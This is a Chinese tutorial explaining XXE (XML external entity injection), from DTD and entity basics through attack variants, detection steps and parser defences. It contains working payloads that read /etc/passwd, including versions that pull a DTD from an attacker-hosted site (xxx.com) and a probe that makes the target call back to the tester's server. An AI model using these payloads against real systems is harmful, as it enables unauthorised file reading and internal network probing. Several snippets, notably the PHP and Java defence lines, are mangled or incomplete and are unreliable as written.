XXE漏洞原理&利用&防御
一、XML概念
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语。XML3
文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。在HTML文档中显示动态数据。
1、DTD(文档类型定义)
作用:定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
内部声明DTD:
<!DOCTYPE 根元素 [元素声明]>
引用外部DTD(漏洞一般出自这里):
<!DOCTYPE 根元素 SYSTEM "文件名">或者
<!DOCTYPE 根元素 PUBLIC "public_ ID" "文件名">
2、entity
DTD实体,是用于定义弓|用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
内部声明实体:
<!ENTITY 实体名称 "实体的值">
引用外部实体(漏洞一般出自这里):
<!ENTITY 实体名称 SYSTEM “URL">或者是
<!ENTITY 实体名称 PUBLIC "public ID" "URL">
3、实例

代码解析:
在上面的xml内容中,可以看到<!DOCTYPE entity [<!ENTITY name "test">]>这个语句是一个DTD内部包含了一个entity,name为实体名称,test为实体的值,后面的<root>&name</root>语句是预估元素,目的是将名为name的实体值进行输出,
漏洞探测和利用:
尝试将name后面的"test"改为:SYSTEM "[file:///etc/passwd](file://etc/passwd)" 这样可以尝试看是否存在应用外部实体,若有的话,后面的输出name实体的值将会是文件路径:/etc/passwd中的内容
二、XXE漏洞
概念
xxe全名"xml external entity injection"即"xml外部实体注入"。有了XML实体,关键字’SYSTEM’会令XML解析器从URL中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。
比如,下面的代码将获取系统上folder/file的内容并呈献给用。攻击者通过xml语句中写入指定的xml实体语句,从而让服务器技执行,从而导致问题。服务端接收和解析了用户端传过来的xml数据,而没有做安全控制,从而导致xml外部实体注入。
危害
读取任意文件、命令执行、内网探测、攻击内网网站、拒绝服务攻击等
三、DTD与实体
这里DTD(文档类型定义)的作用是定义XML文件中有哪些模块,这些模块能包含什么样的内容。常见的模块有元素,属性,实体,PCDATA,CDATA等等。
其中一种模块是实体。实体就像编程语言中的常量,我们可以将一串普通文本定义为个实体,这样就可以在XML通过这个实体引用这段文本实体主要有两种,直接在。DTD中声明的实体称为内部实体,通过从外部引入内容的是外部实体,没有做校验或防御那么外部实体就可以被利用。
四、XXE攻击
1、直接通过DTD外部实体声明
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "[file:///etc/passwd](file://etc/passwd)">
]>
<c>&b;</c>
2、通过DTD文档引入外部DTD文档,再引入外部实体声明
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM " <http://xxx.com/xxx.dtd>"> //调用的是我们事先搭建好的网站中的DTD文件
<c>&b;</c>
DTD文件内容:
<!ENTITY b SYSTEM "[file:///etc/passwd](file://etc/passwd)">
3、通过DTD外部实体声明引入外部实体声明
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY % d SYSTEM " <http://xxx.com/xxx.dtd>"> //调用的是我们事先搭建好的网站中的DTD文件
%d;
]>
<c>&b;</c>
DTD文件内容:
<!ENTITY b SYSTEM "[file:///etc/passwd](file://etc/passwd)">
五、支持协议
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
| libxml2 | PHP | Java | .NET |
|---|---|---|---|
| file | file | http | file |
| http | http | https | http |
| ftp | ftp | ftp | https |
| php | file | ftp | |
| compress.zlib | jar | ||
| compress.bzip2 | netdoc | ||
| data | mailto | ||
| glob | gopher * | ||
| phar |
六、XXE漏洞挖掘
甄别那些接受XML作为输入内容的端点。但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。
在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
黑盒测试步骤:
步骤一:检测XML是否会被成功解析:通过抓包,然后将下列代码放入请求,观察响应信息或页面显示
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY name "test">
]>
<root>&name;</root>
如果页面输出了test那么说明xml文件可以被解析
步骤二:检测服务器是否支持DTD引用外部实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM " http://xxxx/index.html">
% name;
]>
<root>&name;</root>
可以通过查看自己服务器的日志进行判断,判断目标服务器是否向我的服务器发送一条请求index.html的请求。
实例:



七、XXE漏洞防御
对用户输入的做过滤,包括<、'、& 等;
不允许XML中含有自己定义的DTD;
禁止加载外部实体。
例:
PHP:
libxml___disable_ entity_ loader(true);
JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

浙公网安备 33010602011771号